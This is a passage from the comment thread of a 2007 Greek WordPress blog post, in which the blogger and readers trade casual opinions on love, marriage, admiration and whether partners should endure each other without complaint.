    τι γίνεται ; η ερωτική δούλα συνεχίζει να σε «τροφοδοτεί» με ενέργεια;
    για πόσο ;
    και αυτό είναι η λύση για όλα τα προβλήματα στις σχέσεις και στους γάμους;
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 10 :42 πμ | Απάντηση

  21. δανάη
    πλιζζ πες μας τίνος είναι αυτοί οι καταπληκτικοί στίχοι.
    και αν συμβαίνουν όλα αυτά γιατί να προσπερνάς ;
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 10 :45 πμ | Απάντηση

  22. σο φαρ
    το μυστικό λοιπόν είναι να σε θαυμαζει.
    αν σε θαυμαζει σε συγχωρεί και λίγο;
    δηλαδή ένας «επιτυχημένος» δικαιολογείται να κάνει και κανένα «στραβοπάτημα» ;
    και αν πάλι …. αναγκάζεσαι να την παραμελείς για να δώσεις περισσότερο βαρος σε όλα αυτά (δουλειές , σχέδια, πρότζεκτ ) που κάνει ένας αντρας και γίνεται τελικά αντικείμενο θαυμασμού;
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 10 :51 πμ | Απάντηση

  23. σαρντό
    γκαρσονιέρα ;
    ή δύο γκαρσονιέρες , μια για τον καθένα;
    φίλε εχεις ασύγκριτο χιούμορ .
    όμως έχεις γραψει ένα καταπληκτικό ποστ για τον ερωτα και για τις σχέσεις.
    εγώ το εχω διαβασει και εχω κάνει και επαναλήψεις .
    σκεφτομαι να το εντάξω κάποια στιγμή στα ποστ που δεν θα ήθελα να ξεχάσω , αν και εχω προβληματάκια με τα λινκς και τις παραπομπές .
    «γκαρσονιέρα» είπες.
    και ήταν και μεγάλοι άνθρωποι οι θείοι, φανταζομαι .
    το κρατάω αυτό για να απαντήσω συνολικά στο τέλος .
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 10 :57 πμ | Απάντηση

  24. ναταλία
    ναι το είπες «όχι γλαστρα» αλλά από εκεί και πέρα πρέπει να βρεθεί ο κώδικας.
    πως «εισπραττεις» εσύ την …. (πως να την πω τώρα 😉 ενος άντρα να σε κάνει να νιώθεις γυναίκα .
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 11 :00 πμ | Απάντηση

  25. ΓΕΝΙΚΕΣ ΠΛΗΡΟΦΟΡΙΕΣ
    πάτε στο μπλογκ του σαρντο
    μπαίνετε στο μήνα Μαρτιο
    και διαβαζετε τα ποστς
    1. Ρομαντζα, μοναχικοί περίπατοι και άλλες ανοησίες
    2. ( το κλασσικό πλέον ) Δεν πιστεύω να θελεις γάμο και παιδιά
    ….. θα επιστρέψω
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 11 :08 πμ | Απάντηση

  26. Εγώ το ‘στραβοπάτημα’ το έχω απενοχοποιήσει πια.. τόσα πολλά και τόσο σοβαρά.. τί να πω..
    Αλλά ναι, πρέπει να τον θαυμάζεις τον άντρα που έχεις δίπλα σου, διαφορετικά δεν κάθεσαι μαζί του. Και οι γυναίκες που ανέφερες τους θαύμαζαν γι’ αυτό και τους προσέφεραν. Δεν ήταν λίγα τα ατοπήματα του Σικελιανού ή του Σεφέρη. Όμως.. Από εκεί και πέρα βέβαια έχει σημασία πολύ μεγάλη θα έλεγα το πώς και ο ίδιος παρουσιάζει την αφοσίωσή του σε αυτό που δημιουργεί.. χωρίς να μειώνει, χωρίς να προσβάλει και κυρίως αναγνωρίζοντας ότι η γυναίκα που είναι δίπλα του συμβάλλει σημαντικά σε αυτό.
    Πάντως στο λέω, ότι αν δεν έφευγε ο φίλος σου σε κάποια χρόνια θα αγανακτούσε η γυναίκα του και τότε το δράμα θα ήταν ακόμα μεγαλύτερο κυρίως για εκείνον…

    Σχόλιο από So_Far — 7 Μαΐου, 2007 @ 11 :21 πμ | Απάντηση

  27. θα συμφωνήσω με την so far στο θέμα του θαυμασμού, i’ve been there… και πάλι όμως τα δύσκολα…
    ότι ο άντρας πρέπει να παραμείνει αντικείμενο θαυμασμού και να μη σε ξενερώσει… ξέρετε τι εννοώ, με μικροπρέπειες διαφόρων ειδών… εγώ αυτό έπαθα, αν και άντεξα αρκετά χρόνια ομολογουμένως. η κατάληξη ήταν αυτό που είπε η so far «…αν δεν έφευγε ο φίλος σου σε κάποια χρόνια θα αγανακτούσε η γυναίκα του και τότε το δράμα θα ήταν ακόμα μεγαλύτερο κυρίως για εκείνον…»
    λυπάμαι, αλλά ανήκω στις γυναίκες που αν δεν έχω τον άντρα ένα σκαλί τουλάχιστο πιο πάνω από μένα, δεν πρόκειται ποτέ μα ποτέ να τον σεβαστώ, με ό,τι συνεπάγεται αυτό…
    γενικά θεωρώ τους άντρες υποδεέστερα όντα, no offence.

    Σχόλιο από Natalia — 7 Μαΐου, 2007 @ 12 :01 μμ | Απάντηση

  28. like to bite
    καλα το κατάλαβα ότι κάπου έκανα λάθος στο «μετρημα» και μου έβγαινε μια απάντηση λιγώτερο. 🙂
    το λες «συναίσθημα» και με τη λέξη αυτή απαντάς για όλα.
    όμως πόσο κρατάει αυτό ;
    να πω κι άλλα τώρα ;
    η αγάπη , ο ερωτας είναι για μικρές ηλικίες ;
    μετά όταν «μεγαλώνει» καποιος τι γίνεται;
    κάτω από ποιές συνθήκες θα παραδεχτούμε ότι καθημερινές πρακτικές μπορεί και να είναι απαραίτητες πριν φθασει το διαζύγιο;
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 12 :29 μμ | Απάντηση

  29. σο φαρ
    σε βρίσκω πολύ «κατασταλαγμένη».
    δίνεις και στις δύο πλευρές και στον άντρα και στη γυναίκα ελαφρυντικά, γιατί μια σχέση στη «θεωρητική» της μορφή έχει πολλές απαιτήσεις που δεν αντέχει κανείς.
    και αφήνεις ανοιχτή και την πιθανότητα ενος «έγκαιρου» διαζυγίου γιατί η ζωή είναι μικρή .
    το εχεις φιλοσοφήσει πολύ και νομίζω πως τώρα μπορεί και να είσαι «ετοιμη» για κατι καινούριο.
    🙂

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 1 :22 μμ | Απάντηση

  30. natalia
    υπδεέστερα ;
    άκουσα καλά ;
    λοιπόν αυτά τα νο οφενσ εγώ δεν τα μασάω …
    είπες υποδεέστερα ;
    ε τότε να ξερεις ότι το αποφάσισα … θα γίνω ποιητής , σαν τον ελιοτ , σαν τον σεφέρη , σαν όλους αυτούς τους μεγάλους και τότε … θα χαρείς να υποφέρεις αγόγγυστα , άκουσες α-γ-ό-γγ-υ-σ-τ-α .
    :)^^

    Σχόλιο από thelastrealanwnymous — 7 Μαΐου, 2007 @ 1 :37 μμ | Απάντηση

  31. γλυκέ μου, σου εύχομαι ειλικρινά μέσα από την καρδιά μου να γίνεις όλα όσα επιθυμείς, να μεγαλουργήσεις, να γίνεις άξιος θαυμασμού, να πάρεις νόμπελ λογοτεχνίας, να γνωρίσει όλη η υφήλιος τ’ όνομά σου!!! και δεν ειρωνεύομαι, έτσι;
    πριν βρεις όμως μια γυναίκα που να υποφέρει αγόγγυστα, να είσαι σίγουρος ότι μέσα απ’ αυτά που κάνεις έχεις πρώτα βρει εσύ τον εαυτό σου.
    κι αυτό στο λέω εγώ, που κατάφερα να χάσω τον εαυτό μου και τον ξαναψάχνω στα 27…
    εγώ σαν φίλη θα χαρώ να σε δω ευτυχισμένο ό,τι κι αν κάνεις. και θα είμαι πάντα εδώ για ό,τι χρειαστείς, σου το έχω πει.
    να προσέχεις τον εαυτό σου, να είσαι καλά και να χαμογελάς.
    φιλιά

    Σχόλιο από Natalia — 7 Μαΐου, 2007 @ 3 :56 μμ | Απάντηση

  32. Με έχεις κατασυγκινήσει…Ανώνυμε
    πω πω τόση αθωότητα ούτε στις πρώτες μου απιστίες λέμε:-ρ
    Άσε δε που άμανε περιλάβω όλες τις τσαπερδόνες και τους τσαπερδόνους απ’εδώ με τις ρομαντζάδες ή και τα υπερ-σοφικά νταϊλίκια τους θα κάνω ένα ποστ..μα ένα ποστ..
    ΕΛΑ ΝΑ ΞΥΠΝΑΜΕ ΠΟΥ ΟΛΟΙ ΠΑΡΑΠΑΤΑΤΕ ΣΑ ΣΟΥΡΩΜΕΝΟΙ ΣΙΝΤΑΡΤΕΣ
    (συγνώμη για το τρομοκρατικό κόμεντ αφεντικό)
    Παίζατε εκείνο το παιγνίδι με το λάστιχο στα πόδια όταν ήσασταν μικροί; Ναι εκείνο που χοροπηδούσαν τα κοριτσάκια χαρωπά και τ’αγοράκια χάζευαν..Ε, έτσι είναι ο έρωτας , οι σχέσεις και τ’αγόγγυστα (μα κάτι λέξεις που πας και βρίσκεις κι εσύ..)

    Σχόλιο από Sardonian — 7 Μαΐου, 2007 @ 5 :34 μμ | Απάντηση

  33. Nα πάρει είπα δυο μέρες να κάνω απεξάρτηση από το πι σι και έχω χάσει μια υπέροχη κουβέντα περί αγάπης και έρωτα. Χμ τώρα εγώ τι να πω… , λοιπόν δεν θα αναλωθώ στα κλασσικά του τύπου πίσω από κάθε πετυχημένο άνδρα υπάρχει και μια γυναίκα κτλ . Αυτό που πολύ απλά μπορώ να πω είναι πως αν θέλεις η γυναίκα που βρίσκεται δίπλα σου στις διάφορες στιγμές της ζωής να σε στηρίζει και να υπομένει Αγογγυστα τις διάφορες αναποδιές της ζωής θα πρέπει πολύ απλά να της θυμίζεις ότι είναι γυναίκα. Και δεν χρειάζεται να το κάνεις αυτό με ακριβά δώρα και τα λοιπά αλλά απλά με ένα χάδι ή με μια γλυκιά κουβέντα.

    Σχόλιο από alekos — 7 Μαΐου, 2007 @ 7 :05 μμ | Απάντηση

  34. Ανώνυμέ μου, σε σχέση με την απάντηση που μου έγραψες, θα μου επιτρέψεις να διαφωνήσω, γιατί δεν πιστεύω ότι «πρεπει να λύσεις και το γρίφο αυτού του ευαίσθητου -και ευφυούς σε θέματα ψυχής – πλάσματος που λέγεται γυναίκα».
    δεν χρειάζεται να το λύσεις, να το ζήσεις πρέπει, αν πρέπει κάτι.

    Σχόλιο από Σπύρος Σεραφείμ — 7 Μαΐου, 2007 @ 9 :15 μμ | Απάντηση

  35. Εγώ θα πω ότι όλοι πάνω κάτω ψιλογενικά μιλάμε.
    Δηλαδή όλα είναι θέμα χαρακτήρα (και των δύο), συναισθημάτων, χημείας και ΚΥΡΙΩΣ επικοινωνίας.
    Και εφόσον υπάρχει επικοινωνία ο άντρας θα σέβεται τη γυναίκα (ΠΑΝΤΑ γι’ αυτό που είναι) και η γυναίκα το ίδιο επίσης (για τον άντρα).
    Αλλωστε και ο άντρας με τη γυναίκα στην ουσία είναι δυο φίλοι.
    Και οι καλοί φίλοι κάνουν καλούς λογαριασμούς (και ΟΧΙ το αντίθετο…)
    Το παν είναι ο σεβασμός στο »είναι» του άλλου.
    Και σε αυτήν την περίπτωση.
    Πολύ καλό το θέμα που έθεσες 🙂

    Σχόλιο από FuSmOKer — 7 Μαΐου, 2007 @ 9 :20 μμ | Απάντηση

  36. natalia
    πρέπει να διαβάσω το καινούριο σου ποστ για τον τέλειο άνδρα για να σου απαντήσω .
    εκ μέρους των «υποδεέστερων όντων» : καλημέρα
    🙂

    Σχόλιο από thelastrealanwnymous — 8 Μαΐου, 2007 @ 7 :27 πμ | Απάντηση

  37. σαρντό
    δεν μπόρεσα να παίξω «λαστιχο» αλλά … καποτε είχα
    μια σχέση με ενα «λαστιχο». (έκανε μπαλέτο)
    όλα τα «ακροβατικά» που υπαρχουν στα διηγήματα μου
    τα έχω «δεί» .
    🙂
    και αφού η συζητηση για τη «συνταγη» του ερωτα …ψηφίζω χορεύτριες και κυρίως κλασσικό μπαλέτο.

    Σχόλιο από thelastrealanwnymous — 8 Μαΐου, 2007 @ 7 :39 πμ | Απάντηση

  38. αλέκο
    «με ένα χάδι ή μια γλυκειά κουβεντα»
    δεν θα διαφωνήσω αλλά …συνηθως διαφωνούν εκείνες …
    🙂

    Σχόλιο από thelastrealanwnymous — 8 Μαΐου, 2007 @ 7 :42 πμ | Απάντηση

  39. Σπύρο
    «να το ζήσεις … » το πλασμα που λέγεται γυναίκα.
    ακούγεται ωραίο.
    ακριβώς σ’ αυτή τη λέξη είναι η ερώτηση «Πως; » .
    🙂

    Σχόλιο από thelastrealanwnymous — 8 Μαΐου, 2007 @ 7 :49 πμ | Απάντηση

  40. fusmoker
    «….ο σεβασμός»
    σε σχέση με το σεβασμο υπαρχει ένα πρόβλημα στα διαζύγια , όπου πολύ συχνά οι φίλοι, συγγενείς και το στενό περιβάλλον γενικά δεν «σέβεται» την επιθυμία κάποιων να χωρίσουν.
    όσο αφορά την «επικοινωνία » στο ζευγάρι και πάλι προκύπτει το φαινόμενο, η επικοινωνία να μη τους επιτρέπει να χωρίσουν ενώ μπορεί να το θέλουν ….
    δύσκολες καταστάσεις ….
    🙂

    Σχόλιο από thelastrealanwnymous — 8 Μαΐου, 2007 @ 8 :11 πμ | Απάντηση

  41. Δεν θεωρώ δεδομένη τη διάρκεια ενός συναισθήματος. Κι ακόμα περισσότερο πιστεύω πως ένα συναίσθημα έχει και peeks και flat lines -κάτι σαν τον οργασμό της γυναίκας δηλαδή :). Ηλικιακά το συναίσθημα έχει και διαφορετική φύση αλλά και ένταση οι οποίες διαφοροποιούνται από τρίτους παράγοντες όπως η νόηση, τρέχουσα ψυχοσύνθεση κλπ. Κι αν ισχύουν τα παραπάνω γιατί πρέπει να παραδεχθούμε την ύπαρξη των καθημερινών πρακτικών; Σαφώς και είναι απαραίτητες αλλά για να σε οδηγήσουν αυτές σ’ένα διαζύγιο τότε σίγουρα υπάρχει έλλειψη άλλων ευγενών συναισθημάτων και συμπεριφορών όπως ο σεβασμός και η αυτοεκτίμηση. Τώρα πως τα συνδυάζει κανείς όλα αυτά; Ειλικρινά δεν ξέρω! Ισορροπίες…

    Σχόλιο από LikeToBite — 8 Μαΐου, 2007 @ 8 :38 πμ | Απάντηση

  42. Αγόγγυστα !
    ισχύει για όλους ανδρες, γυναίκες …
    ή μήπως τα παιδιά δεν μας ανέχονται αγόγγυστα?….
    ή μήπως δεν ανεχόμαστε εμείς τους άλλους (πολιτικούς,συνάδελφους πχ.) αγόγγυστα ?

    Ξέρετε κανένα δούλο(α) να συστήσετε γιατί πολλές εκκρεμότητες πλακώσαν τελευταία?…

    Σχόλιο από Takis — 8 Μαΐου, 2007 @ 9 :50 πμ | Απάντηση

  43. Ναι, το έχω φιλοσοφήσει. Μου δόθηκε ο χρόνος – υπερόπλο ο χρόνος στα χέρια της γυναίκας , να το θυμάσαι αυτό γιατί είσαι μικρός- και το σκέφτηκα καλά. Τα υπόλοιπα είναι γραμμένα στο blog.
    Πάντως η ιστορία των φίλων σου που είναι ηλικιακά late 20’s or early 30’s με τις συγκεκριμένες απόψεις είναι κοινωνικά και ηλικιακά τοποθετημένη σωστά. Έτσι τα βλέπουν οι άνθρωποι σε αυτή την ηλικία. Γιατί απλά έχουν δυνάμεις και αποθέματα. Μόλις αυτά τελειώσουν εκεί γύρω στα late 30’s or early 40’s αρχίζει και το ‘πανηγύρι’ …

    Σχόλιο από So_Far — 8 Μαΐου, 2007 @ 3 :05 μμ | Απάντηση

  44. Καλησπέρα thelastrealanwnymoys.. Οι στίχοι είναι του Γιώργου Ξυδιά.
    Καλό σου απόγευμα..

    Σχόλιο από feggaroskoni — 8 Μαΐου, 2007 @ 4 :19 μμ | Απάντηση

  45. like to bite
    τώρα με βαζεις σε σκεψεις… ότι δηλαδή μας αρέσει να διαχειριζόμαστε ένα «κομμάτι» του άλλου με την πρόφαση ότι επεμβαίνουμε στην πρακτική του πλευρά;
    🙂

    Σχόλιο από thelastrealanwnymous — 9 Μαΐου, 2007 @ 7 :37 πμ | Απάντηση

  46. Τακη
    μου αρέσει ο ευθύς τρόπος που τοποθετείς τα πράγματα.
    είναι μια άλλη μορφή συμβίωσης να: αλληλοδουλευόμαστε =να κάνουμε ο ένας τον δούλο στον άλλο.
    🙂

    Σχόλιο από thelastrealanwnymous — 9 Μαΐου, 2007 @ 7 :40 πμ | Απάντηση

  47. σο φαρ
    το να μεγαλώνει κανείς το βλέπω περίπου έτσι:
    ας πούμε ότι ξερεις καλό σκάκι και πρέπει να περιπλανηθείς πολύ καιρό ,για να φθασεις στη χώρα που ζεί ο καλύτερος σκακιστής , ο πρωταθλητής κόσμου.
    περνάει αρκετός χρόνος λοιπόν, για να μπορέσεις να παίξεις μία ενδιαφέρουσα παρτίδα.
    μεγαλώνοντας δηλαδή οι προκλήσεις είναι πολύ πιό ενδιαφέρουσες .
    🙂

    Σχόλιο από thelastrealanwnymous — 9 Μαΐου, 2007 @ 7 :48 πμ | Απάντηση

  48. φεγγαρόσκονη
    θενκς
    🙂

    Σχόλιο από thelastrealanwnymous — 9 Μαΐου, 2007 @ 7 :49 πμ | Απάντηση

  49. Δε θα μπορύσες να το πεις καλύτερα! Κι όπως ανέφερε κι ο/η So_Far αυτή ακριβώς πιστεύω πως είναι η τακτική από μια ηλικία και μετά -τυγχάνει να βρίσκομαι στο ηλικιακό group των 40s. Απλώς η διαχείριση του άλλου είναι αμοιβαία, γνωστή εκ των προτέρων ως τακτική και αποδεκτή όσο δεν προσβάλλει.

    καλημέρα

    Σχόλιο από LikeToBite — 9 Μαΐου, 2007 @ 8 :51 πμ | Απάντηση

  50. Όχι απλά πολύ πιο ενδιαφέρουσες, αλλά μπορώ να πω ότι είναι σε leathal doses… Κάτι πρέπει να συμπληρώσω στο blog μου που σε αφορά, για πέρασε να παραλάβεις σε παρακαλώ.

    Σχόλιο από So_Far — 9 Μαΐου, 2007 @ 9 :32 πμ | Απάντηση

  51. «Και … προσέξτε με καλά. Δεν μιλάω για μια γυναίκα –δούλα , μιλάω για ένα πρακτικό πλάσμα , που μας ξέρει τόσο καλά και με τον τρόπο της ,δεν μας αφήνει να πνιγούμε σε μια κουταλιά νερό.»

    Αυτό, μπορώ να το δεχτώ. Δεν είναι λίγες οι φορές που με ξελάσπωσε η σχέση μου με τον ίδιο τρόπο. Οι σχέσεις είναι πάρε δώσε, το αγόγγυστα θα πρέπει να ισχύει και για τους δυο.. Κανείς δεν είναι ανώτερος η κατώτερος.. Κανείς δεν θα έπρεπε να υπομένει τον άλλο, να ανέχεται συμπεριφορές που ξεπερνούν τα όρια.. Σε τελική τόσα κότερα που διάβασα σε αυτό το post, ας προσλάβει μια φιλιππινέζα..

    Σχόλιο από if..igeneia — 10 Μαΐου, 2007 @ 1 :16 μμ | Απάντηση

  52. Ιφιγένεια
    νομίζω ότι συμφωνούμε .
    εκτος… από την περίπτωση της φιλιππινέζας, που δεν μπορεί να αντικαταστήσει τη σύντροφο .
    🙂

    Σχόλιο από thelastrealanwnymous — 10 Μαΐου, 2007 @ 5 :27 μμ | Απάντηση

  53. Αν εσυ και οι φιλοι σου πιστευετε πως αυτο το αγογγυστα πρεπει να τηρειται και απο τους δυο τοτε παω πασο. Εαν πιστευετε το αντιθετο(γιατι ετσι φαινεται) τοτε νομιζω οτι ζειτε ακομα σε πολυ παλαιοτερες δεκαετιες.

    Σχόλιο από Vv — 10 Μαΐου, 2007 @ 10 :05 μμ | Απάντηση

  54. Vv
    τωρα με προκαλείς να πω τις βαθύτερες σκεψεις μου .
    αν υπαρχει έστω και μια τέτοια γυναίκα θα περιμένω καιρό να την ανακαλύψω.
    γιατί στις σχέσεις … με κυνηγάει μεγάλη γκαντεμιά.
    🙂 🙂

    Σχόλιο από thelastrealanwnymous — 11 Μαΐου, 2007 @ 10 :29 πμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Αφήστε απάντηση στον/στην So_Far Ακύρωση απάντησης

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.